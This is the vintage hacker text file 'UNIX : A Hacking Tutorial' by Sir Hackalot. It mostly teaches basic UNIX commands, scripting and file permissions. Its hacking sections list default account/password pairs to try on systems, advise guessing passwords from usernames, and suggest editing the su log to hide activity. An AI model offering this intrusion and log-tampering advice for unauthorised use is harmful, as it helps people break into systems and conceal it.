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+                        UNIX : A Hacking Tutorial                          +
+                            By: Sir Hackalot                               +

o Intent of this file:

     This phile is geared as an UNIX tutorial at first, to let you get more
familiar with the operating system.  UNIX is just an operating system, as
is MS-DOS, AppleDOS, AmigaDOS, and others.  UNIX happens to be a multi-user-
multi-tasking system, thus bringing a need for security not found on MSDOS,
AppleDOS, etc.  This phile will hopefully teach the beginners who do not have
a clue about how to use UNIX a good start, and may hopefully teach old pros
something they didn't know before.  This file deals with UNIX SYSTEM V and
its variants.  When I talk about unix, its usually about SYSTEM V (rel 3.2).

Where Can I be found?  I have no Idea.  The Boards today are going Up'n'Down
so fast, 3 days after you read this file, if I put a BBS in it where you could
reach me, it may be down!  Just look for me.

I can be reached on DarkWood Castle [If it goes back up], but that board
is hard to get access on, but I decided to mention it anyway.

I *COULD* Have been reached on jolnet, but......

This file may have some bad spelling, etc, or discrepencies since it was
spread out over a long time of writing, because of school, work, Girl friend,
etc.  Please, no flames.  If you don't like this file, don't keep it.

This is distributed under PHAZE Inc.  Here are the members (and ex ones)
The Dark Pawn
The Data Wizard
Sir Hackalot (Me)
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)


o Dedication:
        This phile is dedicated to the members of LOD that were raided in
Atlanta.  The members that got busted were very good hackers, especially
The Prophet. Good luck to you guys, and I hope you show up again somewhere.

o A little History, etc:

        UNIX, of course, was invented By AT&T in the 60's somewhere, to be
"a programmer's operating system."  While that goal was probably not reached
when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
UNIX, as I have said before, is a multi-tasking/multi-user OS.  It is also
written in C, or at least large parts of it are, thus making it a portable
operating system.  We know that MSDOS corresponds to IBM/clone machines,
right?  Well, this is not the case with UNIX.  We do not associate it with
any one computer since it has been adapted for many, and there are many
UNIX variants [that is, UNIX modified by a vendor, or such].  Some AT&T
computers run it, and also some run MSDOS [AT&T 6300].  The SUN workstations
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
of UNIX.  Remember, no matter what the name of the operating system is [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
commands the operating system uses.  Some variants may have features others
do not, but they are basically similar in that they have a lot of the same
commands/datafiles.  When someone tries to tell you that UNIX goes along with
a certain type of computer, they may be right, but remember, some computers
have more than one Operating system.  For instance, one person may tell you
that UNIX is to a VAX as MSDOS is to IBM/clones.  That is untrue, and the
only reason I stated that, was because I have seen many messages with info
/comparisons in it like that, which confuse users when they see a VAX running

o Identifying a Unix/Logging in

        From now on, I will be referring to all the UNIX variants/etc as
UNIX, so when I say something about UNIX, it generally means all the variants
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
I state a variant in particular.

        Okay.  Now its time for me to tell you how a unix USUALLY greets you.
First, when you call up a UNIX, or connect to one however you do, you will
usually get this prompt:


Ok.  Thats all fine and dandy.  That means that this is PROBABLY a Unix,
although there are BBS's that can mimic the login procedure of an OS
(Operating System), thus making some people believe its a Unix. [Hah!].
Some Unixes will tell you what they are or give you a message before a
login:  prompt, as such:

Welcome to SHUnix.  Please log in.


        Or something like that.  Public access Unixes [like Public BBSs] will
tell you how to logon if you are a new users.  Unfortunatly, this phile is
not about public access Unixes, but I will talk about them briefly later, as
a UUCP/UseNet/Bitnet address for mail.
        OK.  You've gotten to the login prompt!  Now, what you need to do
here is enter in a valid account.  An Account usually consists of 8 characters
or less.  After you enter in an account, you will probably get a password
prompt of some sort.  The prompts may vary, as the source code to the login
program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults.  The defaults are ones that came with
the operating system, in standard form.  The list of some of the Defaults
are as follows:

ACCOUNT                         PASSWORD
-------                         --------
root                            root      - Rarely open to hackers
sys                             sys / system / bin
bin                             sys / bin
mountfsys                       mountfsys
adm                             adm
uucp                            uucp
nuucp                           anon
anon                            anon
user                            user
games                           games
install                         install
reboot                            * See Below
demo                            demo
umountfsys                      umountfsys
sync                            sync
admin                           admin
guest                           guest
daemon                          daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power.  Other
logins are just "user level" logins meaning they only have power over what
files/processes they own.  I'll get into that later, in the file permissions
section.  The REBOOT login is what as known as a command login, which just
simply doesn't let you into the operating system, but executes a program
assigned to it.  It usually does just what it says, reboot the system.  It
may not be standard on all UNIX systems, but I have seen it on  UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes].  So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.


There are "command logins", which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT's computers. Here are some:

rwho - show who is online
finger - same
who - same

These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.


When you get an invalid Account name / invalid password, or both, you will
get some kind of error.  Usually it is the "login incorrect" message.  When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password.  It
does not tell you which mistake you made, for obvious reasons.  Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.

        Another error is "Cannot change to home directory" or "Cannot Change
Directory."  This means that no "home directory" which is essentially the
'root' directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory.  [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ '/'].

        Another error is "No Shell".  This means that no "shell" was defined
for that particular account.  The "shell" will be explained later.  Some
systems will log you off after this message.  Others will tell you that they
will use the regular shell, by saying "Using the bourne shell", or "Using sh"

Accounts In General        :

        This section is to hopefully describe to you the user structure
in the UNIX environment.
        Ok, think of UNIX having two levels of security: absolute power,
or just a regular user.  The ones that have absolute power are those users
at the root level.  Ok, now is the time to think in numbers.  Unix associates
numbers with account names.  each account will have a number.  Some will have
the same number.  That number is the UID [user-id] of the account.  the root
user id is 0.  Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them.  for instance, If my user-id is 50, and someone else's
is 50, with both have absolute power of each other, but no-one else.

Shells        :

        A shell is an executable program which loads and runs when a user
logs on, and is in the foreground.  This "shell" can be any executable prog-
ram, and it is defined in the "passwd" file which is the userfile.  Each
login can have a unique "shell".  Ok.  Now the shell that we usually will work
with is a command interpreter.  A command interpreter is simply something
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
kernel [operating system].  A shell can be anything, as I said before,
but the one you want to have is a command interpreter.  Here are the
usual shells you will find:

sh - This is the bourne shell. It is your basic Unix "COMMAND.COM".  It has
     a "script" language, as do most of the command interpreters on Unix sys-

csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell.  Just another command interpreter.
tcsh - this is one, which is used at MIT I believe.  Allows command editing.
vsh - visual shell.  It is a menu driven deal.  Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell.  Both Explained later.
        There are many others, including "homemade " shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard.  Remember, the shell is just the program you get to use
and when it is done executing, you get logged off.  A good example of a
homemade shell is on Eskimo North, a public access Unix.  The shell
is called "Esh", and it is just something like a one-key-press BBS,
but hey, its still a shell.  The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
        Several companies use Word Processors, databases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators.  Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell.  Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
when you are a root user the prompt is usually a:
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:


SPecial Characters, ETc:

Control-D : End of file.  When using mail or a text editor, this will end
the message or text file.  If you are in the shell and hit control-d you get
logged off.

Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard.  This can represent a letter. If you specified
   something at the command line like "b?b" Unix would look for bob,bib,bub,
   and every other letter/number between a-z, 0-9.
* : this can represent any number of characters.  If you specified a "hi*"
    it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
    hi.  "H*l" could by hill, hull, hl, and anything that starts with an
    H and ends with an L.

[] - The specifies a range.  if i did b[o,u,i]b unix would think: bib,bub,bob
     if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.  Get the idea? The
     [], ?, and * are usually used with copy, deleting files, and directory

EVERYTHING in Unix is CASE sensitive.  This means "Hill" and "hill" are not
the same thing.  This allows for many files to be able to be stored, since
"Hill" "hill" "hIll" "hiLl", etc. can be different files.  So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters.  Most everything is lower case though.

Commands to use:

Now, I will rundown some of the useful commands of Unix.  I will act
as if I were typing in the actual command from a prompt.

ls - this is to get a directory.  With no arguments, it will just print out
     file names in either one column or multi-column output, depending on the
     ls program you have access to.

        $ ls
        the -l switch will give you extended info on the files.
        $ ls -l
        rwx--x--x sirhack     sirh    10990 runme
        and so on....

the "rwx--x--x" is the file permission. [Explained Later]
the "sirhack    sirh" is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
"runme" is the file name.
The format varies, but you should have the general idea.

cat - this types out a file onto the screen.  should be used on text files.
      only use it with binary files to make a user mad [explained later]
      $ cat note.txt
      This is a sample text file!

cd - change directory .  You do it like this: cd /dir/dir1/dir2/dirn.
     the dir1/etc.... describes the directory name.  Say I want to get
     to the root directory.
     $ cd /
     *ok, I'm there.*
     $ ls
 all of the above are directories, lets say.
     $ cd /usr
     $ ls
     $ cd /usr/sirhack
     $ ls
ok, now, you do not have to enter the full dir name.  if you are in
a directory, and want to get into one that is right there [say "src"], you
can type "cd src" [no "/"].  Instead of typing "cd /usr/sirhack/src" from the
sirhack dir, you can type "cd src"

cp - this copies a file. syntax for it is "cp fromfile tofile"
     $ cp runme runme2
     $ ls
Full pathnames can be included, as to copy it to another directory.
     $ cp runme /usr/datwiz/runme

mv - this renames a file. syntax "mv oldname newname"
     $ mv runme2 runit
     $ ls
    files can be renamed into other directories.
     $ mv runit /usr/datwiz/run
     $ ls
     $ ls /usr/datwiz

pwd - gives current directory
     $ pwd
     $ cd src
     $ pwd
     $ cd ..
     $ pwd
     [ the ".." means use the name one directory back. ]
     $ cd ../datwiz
       [translates to cd /usr/datwiz]
     $ pwd
     $ cd $home
     [goto home dir]
     $ pwd

rm - delete a file.  syntax "rm filename" or "rm -r directory name"
     $ rm note.text
     $ ls

write - chat with another user.  Well, "write" to another user.
syntax: "write username"
    $ write scythian
    scythian has been notified
    Hey Scy! What up??
    Message from scythian on tty001 at 17:32
    me: So, hows life?
    scy: ok, I guess.
    me: gotta go finish this text file.
    scy: ok
    me: control-D [to exit program]

who [w,who,whodo] - print who is online
    $ who
    login       term   logontime
    scythian +  tty001 17:20
    phiberO  +  tty002 15:50
    sirhack  +  tty003 17:21
    datawiz  -  tty004 11:20
    glitch   -  tty666 66:60
    the "who" commands may vary in the information given.  a "+" means
    you can "write" to their terminal, a "-" means you cannot.

man - show a manual page entry.  syntax "man command name"  This is a help
      program.  If you wanted to know how to use... "who" you'd type
    $ man who
    WHO(1)   xxx......
      and it would tell you.

stty - set your terminal characteristics.  You WILL have to do "man stty"
     since each stty is different, it seems like.
     an example would be:
    $ stty -parenb
      to make the data params N,8,1.  A lot of Unixes operate at
      e,7,1 by default.

sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem.   These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.
      $ sz filename
      ready to send...
      $ rz filename
      please send your file....

ed - text editor.  Usage "ed filename"  to create a file that doesn't
     exist, just enter in "ed filename"
     some versions of ed will give you a prompt, such as "*" others will not
     $ ed newtext
     * a
     This is line 1
     This is line 2
     * 1 [to see line one]
     This is line 1
     * a [keep adding]
     This is line 3
     *0a [add after line 0]
     This is THE first line
     This is THE first line
     This is line 1
     This is line 2
     This is line 3
     * w
     * q
   The 71 is number of bytes written.
   a = append
   l = list
   # = print line number
   w - write
   l fname = load fname
   s fname = save to fname
   w = write to current file
   q = quit
mesg - turn write permissions on or off to your terminal (allow chat)
     format "mesg y" or "mesg n"
cc - the C compiler.  don't worry about this one right now.
chmod - change mode of a file.  Change the access in other words.
        syntax: "chmod mode filename"
        $ chmod a+r newtext
      Now everyone can read newtext.
      a = all
      r = read.  This will be explained further in the File System section.

chown - change the owner of a file.
       syntax: "chown owner filename"
       $ chown scythian newtext
chgrp - change the group [explained later] of a file.
       syntax: "chgrp group file"
       $ chgrp root runme
finger - print out basic info on an account.  Format: finger username
grep - search for patterns in a file.  syntax: "grep pattern file"
       $ grep 1 newtext
       This is Line 1
       $ grep THE newtext
       This is THE first line
       $ grep "THE line 1" newtext

mail - This is a very useful utility.  Obviously, you already know what it
        is by its name.  There are several MAIL utilities, such as ELM, MUSH
        and MSH, but the basic "mail" program is called "mail".  The usage
        "mail [email protected]" or
        "mail username"
        or "mail addr1!addr2!addr3!user"

        "mail [email protected]" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail.  When you use "mail [email protected]" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps.  The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually.  I could look
like this: mail [email protected]
           then look like this to the computer:

           mail sys1!unisys!pacbell!sbell!sc1!!sirhacksys!optik!phiber

Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber.  I'd do this if there were no smart mailer:

  $ mail sys!unisys!pacbell!sbell!sc1!!sirhacksys!optik!phiber

    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:

From optik!sirhacksys!!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>

        Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to.  Then type in your message.  Then
end it with a control-D.

        To read YOUR mail, just type in mail.  IE:

        $ mail

        From scythian ............
        To sirhack ............
        Subject: Well....


 The dots represent omitted crap.  Each Mail program makes its own headings.
 That ? is a prompt.  At this prompt I can type:

        d - delete
        f username - forward to username
        w fname - write message to a file named fname
        s fname - save message with header into file
        q - quit / update mail
        x - quit, but don't change a thing
        m username - mail to username
        r - reply
        [enter] - read next message
        + - go forward one message
        - : go back one
        h - print out message headers that are in your mailbox.

There are others, to see them, you'd usually hit '?'.


If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter.  A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail.  Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.

ps - process.  This command allows you to see what you are actually doing
in memory.  Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root.  usually, the first thing in a process
list given by "ps" is your shell name.  Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian".  The watch program would
go into the background, meaning I'd still be able to do things while it was
  $ ps
  122  001  ksh
  123  001  watch
  That is a shortened PS.  That is the default listing [a brief one].
  The TTY column represents the "tty" [i/o device] that the process is being
  run from.  This is only useful really if you are using layers (don't worry)
  or more than one person is logged in with the same account name.  Now,
  "ps -f" would give a full process listing on yourself, so instead of
  seeing just plain ole "watch" you'd most likely see "watch scythian"

kill - kill a process.  This is used to terminate a program in memory obvio-
ously.  You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later).  If you kill the shell process, you are logged
off.  By the same token, if you kill someone else's shell process, they
are logged off.  So, if I said "kill 122" I would be logged off.  However,
kill only sends a signal to UNIX telling it to kill off a process.  If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never.  So, you can specify urgency! Try "kill -num pid"
Kill -9 pid  is a definite kill almost instantly.  So if I did this:
 $ kill 122
 $ kill 123
 $ ps
 122   001   ksh
 123   001   watch
 $ kill -9 123
 [123]: killed
 $ kill -9 122

Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).

Shell Programmin'

        Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines.  Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.

First, lets get into variables.  Variables obviously can be assigned
values.  These values can be string values, or numberic values.


        That would assign 1 to the variable named "number".

string=Hi There
string="Hi There"

        Both would assign "Hi there" to a variable.

        Using a variable is different though.  When you wish to use a variable
        you must procede it with a dollar ($) sign.  These variables can
        be used as arguments in programs.  When I said that scripts are
        like batch files, I meant it.  You can enter in any name of a program
        in a script file, and it will execute it. Here is a sample script.


ps $arg1 $arg2

echo $counter

        That script would translate to "ps -uf scythian" then would print
        "1" after that was finished.  ECHO prints something on the screen
        whether it be numeric, or a string constant.

Other Commands / Examples:

read - reads someting into a variable.  format : read variable .  No dollar
        sign is needed here!  If I wwanted to get someone's name, I could

echo "What is your name?"
read hisname
echo Hello $hisname

        What is your name?
        Sir Hackalot
        Hello Sir Hackalot

        Remember, read can read numeric values also.

trap - This can watch for someone to use the interrupt character. (Ctrl-c)
       format: trap "command ; command ; command ; etc.."
        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
        'You gotta see this through!'"

        Now, if I hit control-c during the script after this statement was
        executed, I'd get:
        Noway!! You are not getting rid of me that easy
        You gotta see this through!

exit : format :exit [num]  This exists the shell [quits] with return
        code of num.


        Case execution is like a menu choice deal.  The format of the command
        or structure is :
        case variable in
        1) command;
        2) command;
        *) command;;
        Each part can have any number of commands. The last command however
        must have a ";;".  Take this menu:

        echo "Please Choose:"
        echo "(D)irectory (L)ogoff (S)hell"
        read choice
        case $choice in

        D) echo "Doing Directory...";
           ls -al ;;
        L) echo Bye;
           kill -1 0;;
        S) exit;;
        *) Echo "Error! Not a command";;

        The esac marks the end of a case function.  It must be after the
        LAST command.


        Ok, loops.  There are two loop functins.  the for loops, and the

        repeat looks like this: repeat something somethin1 somethin2
        this would repeat a section of your script for each "something".
        say i did this:
        repeat scythian sirhack prophet

        I may see "scythian" then sirhack then prophet on my screen.

        The for loop is defined as "for variable in something

        an example:
        for counter in 1 2 3
        echo $counter

        That would print out 1 then 2 then 3.

Using TEST
The format:  Test variable option variable

The optios are:
-eq    =
-ne    <> (not equal)
-gt    >
-lt    <
-ge    >=
-le    <=

for strings its: = for equal  != for not equal.

If the condition is true, a zero is returned.  Watch:

        test 3 -eq 3

that would be test 3 = 3, and 0 would be returned.


This is for numeric functions.  You cannot simply type in
echo 4 + 5
and get an answer most of the time.  you must say:
expr variable [or number] operator variable2 [or number]
the operators are:

+ add
- subtract
* multiply
/ divide
^ - power (on some systems)

example :   expr 4 + 5
var = expr 4 + 5
var would hold 9.

        On some systems, expr sometimes prints out a formula.  I mean,
        22+12 is not the same as 22 + 12.  If you said expr 22+12 you
        would see:
        If you did expr 22 + 12 you'd see:


        These are variables used by the shell, and are usually set in the
system wide .profile [explained later].

HOME - location of your home directory.
PS1  - The prompt you are given.  usually $ .  On BSD its usually &
PATH - This is the search path for programs.  When you type in a program
to be run, it is not in memory; it must be loaded off disk.  Most commands
are not in Memory like MSDOS.  If a program is on the search path, it may
be executed no matter where you are.  If not, you must be in the directory
where the program is.  A path is a set of directories basically, seperated by
":"'s.  Here is a typical search path:


When you tried to execute a program, Unix would look for it in /bin,
/etc, /usr/lbin, and your home directory, and if its not found, an error is
spewed out.  It searches directories in ORDER of the path.  SO if you had a
program named "sh" in your home directory, and typed in "sh", EVEN if
you were in your home dir, it would execute the one in /bin. So, you
must set your paths wisely.  Public access Unixes do this for you, but systems
you may encounter may have no path set.

TERM - This is your terminal type.  UNIX has a library of functions called
"CURSES" which can take advantage of any terminal, provided the escape
codes are found.  You must have your term set to something if you run
screen oriented programs.  The escape codes/names of terms are found
in a file called TERMCAP.  Don't worry about that.  just set your term
to ansi or vt100.  CURSES will let you know if it cannot manipulate your
terminal emulation.

The C compiler

        This Will be BRIEF.  Why?  Becuase if you want to learn C, go
        buy a book.  I don't have time to write another text file on
        C, for it would be huge.  Basically, most executables are programmed
        in C.  Source code files on unix are found as filename.c  .
        To compile one, type in "cc filename.c".  Not all C programs
        will compile, since they may depend on other files not there, or
        are just modules.  If you see a think called "makefile" you can
        usually type in just "make" at the command prompt, and something
        will be compiled, or be attempted to compile.  When using make or
        CC, it would be wise to use the background operand since
        compiling sometimes takes for ever.
        $ cc login.c&
        (The 1234 was the process # it got identified as).



        This is an instrumental part of UNIX.  If you do not understand this
section, you'll never get the hang of hacking Unix, since a lot of Pranks
you can play, and things you can do to "raise your access" depend on it.

First, Let's start out by talking about the directory structure.  It is
basically a Hiearchy file system, meaning, it starts out at a root directory
and expands, just as MSDOS, and possibly AmigaDos.

Here is a Directory Tree of sorts:  (d) means directory

                        /  (root dir)
                      bin (d)               usr (d)
                                        |        |              |
                                    sirhack(d)  scythian (d)    prophet (d)
                                        src (d)

Now, this particular system contains the following directories:

Hopefully, you understood that part, and you should.  Everything spawns from
the root directory.

o File Permissions!

Now, this is really the biggie.  File Permissions.  It is not that hard to
understand file permissions, but I will explain them deeply anyway.

OK, now you must think of user groups as well as user names.  Everyone
belongs to a group.  at the $ prompt, you could type in 'id' to see what
group you are in.  Ok, groups are used to allow people access certain things,
instead of just having one person controlling/having access to certain files.
Remember also, that Unix looks at someone's UID to determine access, not
user name.

Ok.  File permissions are not really that complicated.  Each file has an owner
This OWNER is usually the one who creates the file, either by copying a file
or just by plain editing one.  The program CHOWN can be used to give someone
ownership of a file.  Remember that the owner of a file must be the one who
runs CHOWN, since he is the only one that can change the permissions of a file
Also, there is a group owner, which is basically the group that you were in
when the file was created.  You would use chgrp to change the group a file is

Now, Files can have Execute permissions, read permissions, or write permission.
If you have execute permission, you know that you can just type in the name
of that program at the command line, and it will execute.  If you have read
permission on a file, you can obviously read the file, or do anything that
reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can't do anything that requires
reading in the file.  This is the same respect with write permission.  Now,
all the permissions are arranged into 3 groups.  The first is the owner's
permissions.  He may have the permissions set for himself to read and execute
the file, but not write to it.  This would keep him from deleting it.
The second group is the group permissions.  Take an elongated directory
for an example:
 $ ls -l runme
 r-xrwxr-- sirhack       root     10990 March 21  runme

ok.  Now, "root" is the groupname this file is in.  "sirhack" is the owner.
Now, if the group named 'root' has access to read, write and execute, they
could do just that.  Say .. Scythian came across the file, and was in the root
user group.  He could read write or execute the file.  Now, say datawiz came
across it, but was in the "users" group.  The group permissions would not
apply to him, meaning he would have no permissions, so he couldn't touch
the file, right?  Sorta.  There is a third group of permissions, and this is
the "other" group.  This means that the permissions in the "other" group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above.  the r-x-rwxr-- is the permissions line.
The first three characters are the permissions for the owner (r-x).  The
"r-x" translates to "Read and execute permissions, but no write permissions"
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
permissions.  Those three characters mean "Read, write, and execution allowed"
The 3rd set, r-xrwxR-- is the permissions for everyone else.  It means
"Reading allowed, but nothing else".  A directory would look something like
 $ ls -l
 drwxr-xr-x sirhack     root  342 March 11  src

A directory has a "d" at the beggining of the permissions line.  Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory.  The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:
 $ chmod go-r
 $ ls
 drwx--x--x sirhack   root  342  March 11  src

Now, if someone went into the directory besides "sirhack", they could only
execute programs in the directory.  If they did an "ls" to get a directory
of src, when they were inside src, it would say "cannot read directory".
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.

If you do not have execute permissions in a directory, you won't be able to
execute anything in the directory, most of the time.


        The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password.  The object of hacking is usually to
get root (full privileges), so if you're lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
"Having Fun" Section.  Hacking can also be just to get other's accounts also.

Getting IN
        The first thing to do is to GET IN to the Unix.  I mean, get past
the login prompt.  That is the very first thing.  When you come across a UNIX,
sometimes it will identify itself by saying something like,
"Young INC. Company UNIX"

or Just
"Young Inc.  Please login"

        Here is where you try the defaults I listed.  If you get in with those
you can get into the more advanced hacking (getting root). If you do something
wrong at login, you'll get the message
"login incorrect"
This was meant to confuse hackers, or keep the wondering.  Why?
Well, you don't know if you've enterred an account that does not exist, or one
that does exist, and got the wrong password.  If you login as root and it says
"Not on Console", you have a problem.  You have to login as someone else,
and use SU to become root.

   Now, this is where you have to think.  If you cannot get in with a
default, you are obviously going to have to find something else to
login as.  Some systems provide a good way to do this by allowing the use
of command logins.  These are ones which simply execute a command, then
logoff.  However, the commands they execute are usually useful.  For instance
there are three common command logins that tell you who is online at the
present time.  They are:

    If you ever successfully get one of these to work, you can write down
the usernames of those online, and try to logon as them.  Lots of unsuspecting
users use there login name as their password.  For instance, the user
"bob" may have a password named "bob" or "bob1".   This, as you know, is
not smart, but they don't expect a hacking spree to be carried out on
them.  They merely want to be able to login fast.
   If a command login does not exist, or is not useful at all, you will
have to brainstorm.  A good thing to try is to use the name of the unix
that it is identified as.  For instance, Young INC's Unix may have an account
named "young"
        Young, INC.  Please Login.
        login: young
        UNIX SYSTEM V REL 3.2
        (c)1984 AT&T..

   Some unixes have an account open named "test".  This is also a default,
but surprisingly enough, it is sometimes left open.  It is good to try to
use it.  Remember, brainstorming is the key to a unix that has no apparent
defaults open.  Think of things that may go along with the Unix.  type
in stuff like "info", "password", "dial", "bbs" and other things that
may pertain to the system.  "att" is present on some machines also.

        There are several files that are very important to the UNIX
environment.  They are as follows:

/etc/passwd  - This is probably the most important file on a Unix.  Why?
               well, basically, it holds the valid usernames/passwords.
               This is important since only those listed in the passwd
               file can login, and even then some can't (will explain).
               The format for the passwordfile is this:

username:password:UserID:GroupID:description(or real name):homedir:shell

                Here are two sample entries:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

                In the first line, sirhack is a valid user.  The second
                field, however, is supposed to be a password, right?  Well,
                it is, but it's encrypted with the DES encryption standard.
                the part that says "&a,Ty" may include a date after the comma
                (Ty) that tells unix when the password expires.  Yes, the
                date is encrypted into two alphanumeric characters (Ty).

                In the Second example, the demo account has no password.
                so at Login, you could type in:

login: demo
UNIX system V
(c)1984 AT&T

                But with sirhack, you'd have to enter a password.  Now,
                the password file is great, since a lot of times, you;ll
                be able to browse through it to look for unpassworded
                accounts.  Remember that some accounts can be restricted
                from logging in, as such:


                The '*' means you won't be able to login with it.  Your
                only hope would be to run an SUID shell (explained later).

        A note about the DES encryption:  each unix makes its own unique
"keyword" to base encryption off of.  Most of the time its just random letters
and numbers.  Its chosen at installation time by the operating system.
        Now, decrypting DES encrypted things ain't easy.  Its pretty much
impossible.  Especially decrypting the password file (decrypting the password
field within the password file to be exact).  Always beware a hacker who
says he decrypted a password file.  He's full of shit.  Passwords are
never decrypted on unix, but rather, a system call is made to a function
called "crypt" from within the C language, and the string you enter as
the password gets encrypted, and compared to the encrypted password.  If
they match, you're in.  Now, there are password hackers, but they donot
decrypt the password file, but rather, encrypt words from a dictionary
and try them against every account (by crypting/comparing) until it finds
a match (later on!).  Remember, few, if none, have decrypted the password
file successfuly.

/etc/group - This file contains The valid groups.  The group file is usually
             defined as this:
             groupname:password:groupid:users in group

         Once again, passwords are encrypted here too.  If you see a blank
         in the password entry you can become part of that group by
         using the utility "newgrp". Now, there are some cases in
         which even groups with no password will allow only certain
         users to be assigned to the group via the newgrp command. Usually,
         if the last field is left blank, that means any user can use newgrp
         to get that group's access.  Otherwise, only the users specified in
         the last field can enter the group via newgrp.

        Newgrp is just a program that will change your group current
        group id you are logged on under to the one you specify.  The
        syntax for it is:  newgrp groupname
        Now, if you find a group un passworded, and use newgrp to
        enter it, and it asks for a password, you are not allowed to use
        the group.  I will explain this further in The "SU & Newgrp" section.

/etc/hosts - this file contains a list of hosts it is connected to thru
             a hardware network (like an x.25 link or something), or sometimes
             just thru UUCP.  This is a good file when you are hacking a
             large network, since it tells you systems you can use with
             rsh (Remote Shell, not restricted shell), rlogin, and telnet,
             as well as other ethernet/x.25 link programs.

/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
             Several directories, but it is usually in /usr/adm.  This file
             is what it sounds like.  Its a log file, for the program SU.
             What it is for is to keep a record of who uses SU and when.
             whenever you use SU, your best bet would be to edit this file
             if possible, and I'll tell you how and why in the section
             about using "su".

or /usr/adm/acct/loginlog -
        This is a log file, keeping track of the logins.
        Its purpose is merely for accounting and "security review".  Really,
        sometimes this file is never found, since a lot of systems keep the
        logging off.

or errlog -     This is the error log.  It could be located anywhere.  It
                keeps track of all serious and even not so serious errors.
                Usually, it will contain an error code, then a situation.
                the error code can be from 1-10, the higher the number, the
                worse the error.  Error code 6 is usually used when you try
                to hack.  "login" logs your attempt in errlog with error code
                6.  Error code 10 means, in a nutshell, "SYSTEM CRASH".

/usr/adm/culog - This file contains entries that tell when you used cu,
                 where you called and so forth.  Another security thing.

/usr/mail/<userLogin> - this is where the program "mail" stores its mail.
                        to read a particular mailbox, so they are called,
                        you must be that user, in the user group "mail" or
                        root.  each mailbox is just a name.  for instance,
                        if my login was "sirhack" my mail file would usually
                        be: /usr/mail/sirhack

/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
                         Will get into this later.

/etc/shadow - A "shadowed" password file.  Will talk about this later.

-- The BIN account --

